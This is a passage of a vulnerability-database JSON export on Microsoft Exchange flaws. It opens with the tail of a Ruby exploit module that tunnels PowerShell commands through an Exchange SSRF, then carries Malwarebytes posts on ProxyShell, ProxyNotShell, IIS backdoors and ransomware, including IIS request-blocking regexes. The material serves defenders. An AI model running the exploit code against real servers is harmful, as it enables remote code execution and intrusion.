Lint/\n def initialize(endpoint, options)\n @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint\n @ssrf_proc = options[:ssrf_proc]\n end\n\n def send_request(message)\n resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })\n WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml\n end\n end\n\n def create_transport(connection_opts)\n raise NotImplementedError unless connection_opts[:transport] == :ssrf\n\n super\n end\n\n private\n\n def init_ssrf_transport(opts)\n HttpSsrf.new(opts[:endpoint], opts)\n end\n end\n\n module PowerShell\n def send_command(command, _arguments)\n command_id = SecureRandom.uuid.to_s.upcase\n message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)\n fragmenter.fragment(message) do |fragment|\n command_args = [connection_opts, shell_id, command_id, fragment]\n if fragment.start_fragment\n resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)\n command_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text\n else\n transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)\n end\n end\n\n command_id\n end\n end\n\n def initialize(connection_opts)\n # these have to be set to truthy values to pass the option validation, but they're not actually used because hax\n connection_opts.merge!({ user: :ssrf, password: :ssrf })\n super(connection_opts)\n end\n\n def transport\n @transport ||= begin\n transport_factory = TransportFactory.new\n transport_factory.create_transport(@connection_opts)\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/36667", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2022-07-27T16:38:26", "description": "The [Microsoft 365 Defender Research Team](<https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/>) has warned that attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers.\n\nIIS extensions are able to stay hidden in target environments and as such provide a long-term persistence mechanism for attackers.\n\n## IIS\n\nIIS is webserver software created by Microsoft that runs on Windows systems. Most commonly, organizations use IIS to host ASP.NET web applications and static websites. It can also be used as an FTP server, host WCF services, and be extended to host web applications built on other platforms such as PHP.\n\nExchange Server 2016 and Exchange Server 2019 automatically configure multiple Internet Information Services (IIS) virtual directories during the server installation. As a result, administrators are not always aware of the origin of some directories and their functionality.\n\n## IIS modules\n\nThe IIS 7 and above web server feature set is componentized into more than thirty independent modules. A module is either a Win32 DLL (native module) or a .NET 2.0 type contained within an assembly (managed module). Similar to a set of building blocks, modules are added to the server in order to provide the desired functionality for applications.\n\nMalicious IIS modules are near perfect backdoors. Once installed, they will respond to specifically crafted HTTP requests sent by the operator instructing the server to collect emails, add further malicious access, or use the compromised servers for clandestine purposes. These requests will seem normal to the unsuspicious eye.\n\n## IIS backdoors\n\nIIS backdoors are harder to detect since they mostly reside in the same directories as legitimate modules, and they follow the same code structure as clean modules. The actual backdoor code is hard to detect as such and that also makes it hard to determine the origin.\n\n## ProxyLogon and ProxyShell\n\nSome of the methods used to drop malicious IIS extensions are known as [ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>) and [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). ProxyLogon consists of four vulnerabilities which can be combined to form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, the attackers deploy web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nThe ProxyShell exploit is very similar to ProxyLogon and was discovered more recently. ProxyShell is a different attack chain designed to exploit three separate vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207.\n\n## Malicious behavior\n\nOn its blog, the Microsoft Team describes a custom IIS backdoor called FinanceSvcModel.dll which has a built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration. What's interesting in this example is how the threat actor forced the system to use the WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user\u2019s plaintext password in memory. This allowed the threat actor to steal the actual passwords and not just the hashes.\n\nCredential stealing can be a goal by itself. But stolen credentials also allow the attackers to remain persistent in the environment, even if the primary backdoor is detected. Credential stealing modules monitor for specific requests to determine a sign-in activity and dump the provided credentials in a file the threat actor can retrieve later.\n\nGiven the rising energy prizes and the falling, yet still profitable, cryptocurrency exchange rates, we wouldn\u2019t be surprised to find servers abused for cryptomining. A few years ago we saw threat actors leveraging an [IIS 6.0 vulnerability](<https://www.bleepingcomputer.com/news/security/windows-servers-targeted-for-cryptocurrency-mining-via-iis-flaw/>) to take over Windows servers and install a malware strain that mined the Electroneum cryptocurrency.\n\n## Mitigation, detection, and remediation\n\nThere are several thing you can do to minimize the risk and consequences of a malicious IIS extension:\n\n * Keep your server software up to date to minimize the risk of infection.\n * Use security software that also covers your servers.\n * Regularly check loaded IIS modules on exposed IIS servers (notably Exchange servers), leveraging existing tools from the IIS servers suite.\n * Deploy a backup strategy that creates regular backups that are easy to deploy when needed.\n * Review permission and access policies, combined with credential hygiene.\n * Prioritize alerts that show patterns of server compromise. It can help to catch attacks in the exploratory phase, the period in which attackers spend time exploring the environment after gaining initial access.\n\nStay safe, everyone!\n\nThe post [IIS extensions are on the rise as backdoors to servers](<https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-27T13:58:06", "type": "malwarebytes", "title": "IIS extensions are on the rise as backdoors to servers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-07-27T13:58:06", "id": "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "href": "https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-23T18:35:00", "description": "Last Saturday the Cybersecurity and Infrastructure Security Agency issued an [urgent warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) that threat actors are actively exploiting three Microsoft Exchange vulnerabilities\u2014[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>), [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>), and [CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>). These vulnerabilities can be chained together to remotely execute arbitrary code on a vulnerable machine.\n\nThis set of Exchange vulnerabilities is often grouped under the name ProxyShell. Fixes were available in the [May 2021 Security Updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-May>) issued by Microsoft. (To be more precise, the first two were patched in April and CVE-2021-31207 was patched in May.)\n\n### The attack chain\n\nSimply explained, these three vulnerabilities can be chained together to allow a remote attacker to run code on the unpatched server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34523, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\n### ProxyShell\n\nThe Record reports that ProxyShell has been used to [take over some 2,000 Microsoft Exchange mail servers](<https://therecord.media/almost-2000-exchange-servers-hacked-using-proxyshell-exploit/>) in just two days. This can only happen where organisations use the on-premise version of Exchange, and system administrators haven't installed the April and May patches.\n\nWe know there are many reasons why patching is difficult, and often slow. The high number is surprising though, given the noise level about Microsoft Exchange vulnerabilities has been high since [March](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Although it may have been muffled by the other alarm cries about PrintNightmare, HiveNightmare, PetitPotam, and many others.\n\n### Ransomware\n\nSeveral researchers have pointed to a ransomware group named LockFile that combines ProxyShell with [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>). [Kevin Beaumont](<https://twitter.com/GossiTheDog>) has documented how his Exchange honeypot detected exploitation by ProxyShell to drop a [webshell](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). Later, the threat actor revisited to initiate the staging of artefacts related to the LockFile ransomware. For those interested in how to identify whether their servers are vulnerable, and technical details about the stages in this attack, we highly recommend you read [Kevin Beaumont\u2019s post](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>).\n\n### PetitPotam\n\nBefore we can point out how ProxyShell can lead to a full blown network-wide ransomware infection we ought to tell you more about PetiPotam. PetitPotam enables a threat actor to launch an NTLM relay attack on domain controllers.\n\nPetitPotam uses the `EfsRpcOpenFileRaw` function of the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) API. MS-EFSRPC is used for maintenance and management operations on encrypted data that is stored remotely, and accessible over a network. The PetitPotam proof-of-concept (PoC) takes the form of a manipulator-in-the-middle (MitM) attack against Microsoft\u2019s NTLM authentication system. The targeted computer is forced to initiate an authentication procedure and share its authentication details via NTLM.\n\nSince the PetitPotam attack is not based on a vulnerability but uses a legitimate function in a way that was not intended, it will be hard to patch for this attack without \u201cbreaking stuff.\u201d Further, stopping the Encrypting File System (EFS) service does not prevent the technique from being exploited. (For mitigation details, see our post about [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>).)\n\n### LockFile\n\nLockFile attacks have been recorded mostly in the US and Asia, focusing on organizations in financial services, manufacturing, engineering, legal, business services, travel, and tourism. Symantec pointed out in a [blog post](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that the ransom note from LockFile ransomware is very similar to the one used by the [LockBit](<http://blog.malwarebytes.com/detections/ransom-lockbit/>) ransomware group and that they reference the Conti gang in their email address. This may mean that members of those gangs have started a new operation, or just be another indication of how all these gangs are [connected, and sharing resources and tactics](<https://blog.malwarebytes.com/ransomware/2021/04/how-ransomware-gangs-are-connected-and-sharing-resources-and-tactics/>).\n\n### Advice\n\nCISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply Microsoft's Security Update from May 2021\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks.\n\nWe would like to add that you have a look at the mitigation advice for PetitPotam and prioritize tackling these problems in your updating processes.\n\nStay safe, everyone!\n\nThe post [Patch now! Microsoft Exchange is being attacked via ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-23T13:21:08", "type": "malwarebytes", "title": "Patch now! Microsoft Exchange is being attacked via ProxyShell", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:21:08", "id": "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-21T21:27:45", "description": "The FBI has issued an[ advisory](<https://www.ic3.gov/Media/News/2022/220318.pdf>) about the AvosLocker ransomware. Notably the FBI has noticed that several victims have reported Microsoft Exchange Server vulnerabilities as the intrusion vector. \n\nAvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted victims across multiple critical infrastructure sectors in the United States including financial services, critical manufacturing, and government facilities.\n\n## Threat profile\n\nAvosLocker ransomware is a multi-threaded Windows executable written in C++ that runs as a console application and shows a log of actions performed on victim systems. AvosLocker ransomware encrypts files on a victim\u2019s server and renames them with the \u201c.avos\u201d extension.\n\nThe AvosLocker executable leaves a ransom note called GET_YOUR_FILES_BACK.txt in all directories where encryption occurs. The ransom note includes a .onion site that contains instructions for paying the ransom and receiving a decryption key.\n\n\n\n> _Attention!_\n> \n> _Your systems have been encrypted, and your confidential documents were downloaded._\n> \n> _In order to restore your data, you must pay for the decryption key & application._\n> \n> _You may do so by visiting us at <onion address>._\n> \n> _This is an onion address that you may access using Tor Browser which you may download at <https://www.torproject.org/download/>_\n> \n> _Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website._\n> \n> _Contact us soon, because those who don\u2019t have their data leaked in our press release blog and the price they\u2019ll have to pay will go up significantly._\n> \n> _The corporations whom don\u2019t pay or fail to respond in a swift manner have their data leaked in our blog, accessible at <onion address>_\n\nSo, besides encrypting your files, AvosLocker also exfiltrates data and threatens to publish the stolen data to its leaks site. The public leak site not only lists victims of AvosLocker, along with a sample of data allegedly stolen from the victim\u2019s network, but also gives visitors an opportunity to view a sample of victim data and to purchase that data.\n\nThe FBI also notes that in some cases, AvosLocker victims receive phone calls from an AvosLocker representative. The caller encourages the victim to go to the .onion site to negotiate, and threatens to post stolen data online. In some cases, AvosLocker actors will threaten and execute distributed denial-of-service (DDoS) attacks during negotiations.\n\n## Exchange vulnerabilities\n\nSince AvosLocker is a Ransomware-as-a-Service it may depend on the affiliate which of the vulnerabilities gets used.\n\nThe Exchange Server vulnerabilities are named as: CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, and CVE-2021-26855.\n\n[CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>): a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process. This is the way in.\n\n[CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>): a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions. This is how they take control.\n\n[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>): a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files. This allows the attacker to drop malware on the server and run it.\n\nThis is exactly the same attack chain we [described](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) in August 2021. This chain of attack was generally referred to as ProxyShell.\n\nAnother RCE vulnerability in Exchange Server has been seen as well:\n\n[CVE-2021-26855](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855>): the ProxyLogon vulnerability which we discussed in detail in our article on [Microsoft Exchange attacks causing panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). The vulnerability allows an attacker to drop a webshell on a vulnerable Exchange Server. A web shell is a script used by an attacker that allows them to escalate and maintain persistent access on an already compromised web application. (Obviously, not every web shell is malicious, but the non-malicious ones are not interesting to us in this context.)\n\n## Mitigation\n\nAs we stated earlier, all these vulnerabilities have been patched. So, if you are wondering which updates to install next and you are running one or more Microsoft Exchange Server instances, starting there might be a good idea.\n\nMicrosoft\u2019s team has published a [script on GitHub](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) that can check the status of protection against ProxyLogon vulnerabilities of Exchange servers.\n\n## Detection\n\nMalwarebytes detects AvosLocker as [Ransom.AvosLocker](<https://blog.malwarebytes.com/detections/ransom-avoslocker/>).\n\n_Malwarebytes blocks Ransom.AvosLocker_\n\nStay safe, everyone!\n\nThe post [AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI](<https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-21T21:09:12", "type": "malwarebytes", "title": "AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-21T21:09:12", "id": "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "href": "https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-05T00:04:37", "description": "Microsoft has issued some [customer guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as it investigates (yes, more) reported vulnerabilities in Microsoft Exchange Server, affecting the 2013, 2016, and 2019 versions of the software. The company says it \"is aware of limited targeted attacks using the two vulnerabilities to get into users' systems.\" The move follows discussion online about whether two new Exchange [zero-days](<https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) are really new vulnerabilities, or just [new exploits for known vulnerabilities](<https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9>).\n\nSo, let's start with the most important part: What should you do if you're tasked with administering an Exchange Server? Microsoft is working on an accelerated timeline to release a fix. In the meantime it's providing mitigations and detection guidance:\n\nMicrosoft Exchange Online Customers do not need to take any action.\n\n## Update October 4, 2022\n\nMicrosoft has [adapted the mitigation advice](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) it provided originally to block attacks on these vulnerabilities, because they were too easy to circumvent. The most significant change is the recommendation for Exchange Server customers to disable remote PowerShell access for non-admin users in your organization. Guidance on how to do this for single user or multiple users is [here](<https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers?view=exchange-ps%22%20\\\\l%20%22use-the-exchange-management-shell-to-enable-or-disable-remote-powershell-access-for-a-user>). Microsoft alos removed the option to block the ports that are used for Remote PowerShell, but doesn't mention this in the updates section.\n\nSome experts are promoting a more effective string to use in the Request Blocking instructions as shown under points 7 and 8 below. The change is minimal, but should be a significant improvement.\n\n`.*autodiscover\\.json.*Powershell.*`\n\nThese were the original instructions:\n\nUsers of the on premises product should add a blocking rule in IIS Manager** **to block the known attack patterns. According to Microsoft, the following URL Rewrite instructions, which are currently being discussed publicly, are successful in breaking current attack chains:\n\n 1. Open the IIS Manager.\n 2. Expand the Default Web Site.\n 3. Select Autodiscover.\n 4. In the Feature View, click URL Rewrite.\n 5. In the Actions pane on the right-hand side, click Add Rules. \n 6. Select Request Blocking and click OK.\n 7. Add String `.*autodiscover\\.json.*\\@.*Powershell.*` and click OK.\n 8. Expand the rule and select the rule with the Pattern `.*autodiscover\\.json.*\\@.*Powershell.*` and click Edit under Conditions.\n 9. Change the condition input from {URL} to {REQUEST_URI}\n\nThe instructions above can be found on the [Microsoft blog](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>), with screenshots. It adds that there is no known impact to Exchange functionality if the URL Rewrite module is installed as recommended.\n\nAnother option is to block the ports that are used for Remote PowerShell--**HTTP: 5985** and **HTTPS: 5986**.\n\n## The vulnerabilities\n\nThe vulnerabilities were discovered by [GTSC](<https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) while performing security monitoring and incident response services. It was able to assess that the attacks were based on exploit requests with the same format as ProxyShell. But the servers being attacked had all the latest updates, including those that stop ProxyShell.\n\nThe attacks were used to drop web shells on the Exchange servers--a script that can be used by an attacker to run remote commands and maintain persistent access on an already compromised computer.\n\nAccording to security researcher [Kevin Beaumont](<https://twitter.com/GossiTheDog/status/1575580072961982464>) a significant number of Exchange servers has been backdoored. But he adds that this is not unusual, since the patching process is apparently such a mess that people end up on old Content Updates and don't patch ProxyShell properly.\n\nOn his blog on the subject he points out that if you don't run Microsoft Exchange on premise, and don't have Outlook Web App (OWA) facing the internet, you are not impacted either. In addition, Microsoft also notes that attackers need authenticated access to the vulnerable Exchange Server in order to exploit either of the two vulnerabilities associated with these attacks.\n\nThe vulnerabilities, which are chained together, are:\n\n[CVE-2022-41040](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41040>), a Server-Side Request Forgery (SSRF) vulnerability. SSRF is a web security vulnerability that allows an attacker to induce the server-side application to make requests to other services within an organization's infrastructure.\n\n[CVE-2022-41082](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41082>), a vulnerability that allows remote code execution (RCE) when PowerShell is accessible to the attacker.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T13:00:00", "type": "malwarebytes", "title": "[updated]Two new Exchange Server zero-days in the wild", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T13:00:00", "id": "MALWAREBYTES:DDF3883C3A8B9A70629872FE83522C17", "href": "https://www.malwarebytes.com/blog/news/2022/09/two-new-exchange-zero-days-that-look-and-feel-like-proxyshell-part-2", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-12-08T16:24:17", "description": "It's not been a great week for cloud computing service provider Rackspace.\n\nOn December 2, customers began experiencing problems connecting and logging into their Exchange environments. Rackspace started [investigating](<https://status.apps.rackspace.com/index/viewincidents?group=2>) and discovered an issue that affected its Hosted Exchange environments. \n\nNow Rackspace has announced it was actually a ransomware incident that caused the service disruptions.\n\nWhile the investigation is ongoing, there are no details known about which ransomware is at play or how the threat actor gained initial access. In a [press release](<https://www.rackspace.com/newsroom/rackspace-technology-hosted-exchange-environment-update>) Rackspace said that the incident was isolated to its Hosted Exchange business. Rackspace has not showed up on any of the known leak sites that ransomware groups use to apply extra pressure on their victims, but this could also be due to the fact that there are ongoing negotiations.\n\n## Hosted Exchange\n\nRackspace's Hosted Exchange customers are mostly small to medium size businesses that don't have the need or staff to run a dedicated on-premise Exchange server. The outage still affects all services in its Hosted Exchange environment, including MAPI/RPC, POP, IMAP, SMTP, and ActiveSync, as well as the Outlook Web Access (OWA) interface that provides access to online email management.\n\n## Workaround\n\nRackspace said it will help affected customers implement a temporary forwarding while the disruption is ongoing:\n\n> "As a temporary solution while you set up Microsoft 365, it is possible to also implement a forwarding option that will allow mail destined for a Hosted Exchange user to be routed to an external email address. Please log in to your customer account for a ticket with instructions to request this option. Customers should reply to the ticket to request the forwarding rule be put into place for each of their users."\n\n## Impact\n\nIn an [8-K SEC filing](<https://www.sec.gov/ix?doc=/Archives/edgar/data/0001810019/000119312522298940/d388117d8k.htm>) Rackspace states that it expects a loss of revenue due to the ransomware attack's impact on its $30 million Hosted Exchange business. An 8-K form is required to report any events concerning a company that could be of importance to the shareholders of that company or the Securities and Exchange Commission (SEC).\n\n## The attack vector\n\nOne possible attack vector was [pointed out by security researcher Kevin Beaumont](<https://doublepulsar.com/rackspace-cloud-office-suffers-security-breach-958e6c755d7f>). It might be due to exploitation of the Microsoft Exchange vulnerabilities tracked as [CVE-2022-41040 and CVE-2022-41082](<https://www.malwarebytes.com/blog/news/2022/09/two-new-exchange-zero-days-that-look-and-feel-like-proxyshell-part-2>), known as ProxyNotShell.\n\nBeaumont found a Rackspace Exchange server cluster--currently offline--was running a build number from August 2022 a few days prior to the incident disclosure. Since the ProxyNotShell vulnerabilities were only fixed in November, it's possible that threat actors exploited the flaws to breach Rackspace servers.\n\nOne important conclusion Beaumont notes in his post is:\n\n> "For a [managed service provider (MSP)](<https://www.malwarebytes.com/partners/managed-service-providers>) running a shared cluster, such as Hosted Exchange, it means that one compromised account of one customer will compromise the entire hosted cluster."\n\nThis is what may have happened at Rackspace. Don't let it happen to you.\n\n* * *\n\n**We don't just report on threats--we remove them**\n\nCybersecurity risks should never spread beyond a headline. Keep threats off your devices by [downloading Malwarebytes today](<\u201chttps://www.malwarebytes.com/for-home\u201d>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-08T12:00:00", "type": "malwarebytes", "title": "Rackspace confirms it suffered a ransomware attack", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-12-08T12:00:00", "id": "MALWAREBYTES:B0C4B025BF22D777A196390CAE7FC07F", "href": "https://www.malwarebytes.com/blog/news/2022/12/rackspace-confirms-it-suffered-a-ransomware-attack", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-13T00:05:49", "description": "Microsoft fixed 84 vulnerabilities in its October 2022 Patch Tuesday updates. Thirteen of them received the classification 'Critical'. Among them are a zero-day vulnerability that's being actively exploited, and another that hasn't been spotted in the wild yet.\n\nThe bad news is that the much-desired fix for the \"ProxyNotShell\" [Exchange vulnerabilities](<https://www.malwarebytes.com/blog/news/2022/09/two-new-exchange-zero-days-that-look-and-feel-like-proxyshell-part-2>) was not included.\n\n## What was fixed\n\nA widely accepted [definition for a zero-day](<https://en.wikipedia.org/wiki/Zero-day_\\(computing\\)>) is a computer-software vulnerability previously unknown to those who should be interested in its mitigation, such as the software vendor. Until the vulnerability is mitigated, hackers can exploit it to adversely affect programs, data, computers or a network.\n\nAs such, a publicly known vulnerability is called a zero-day even if there is no known actively used exploitation for it.\n\nThe actively exploited vulnerability in this month's batch is 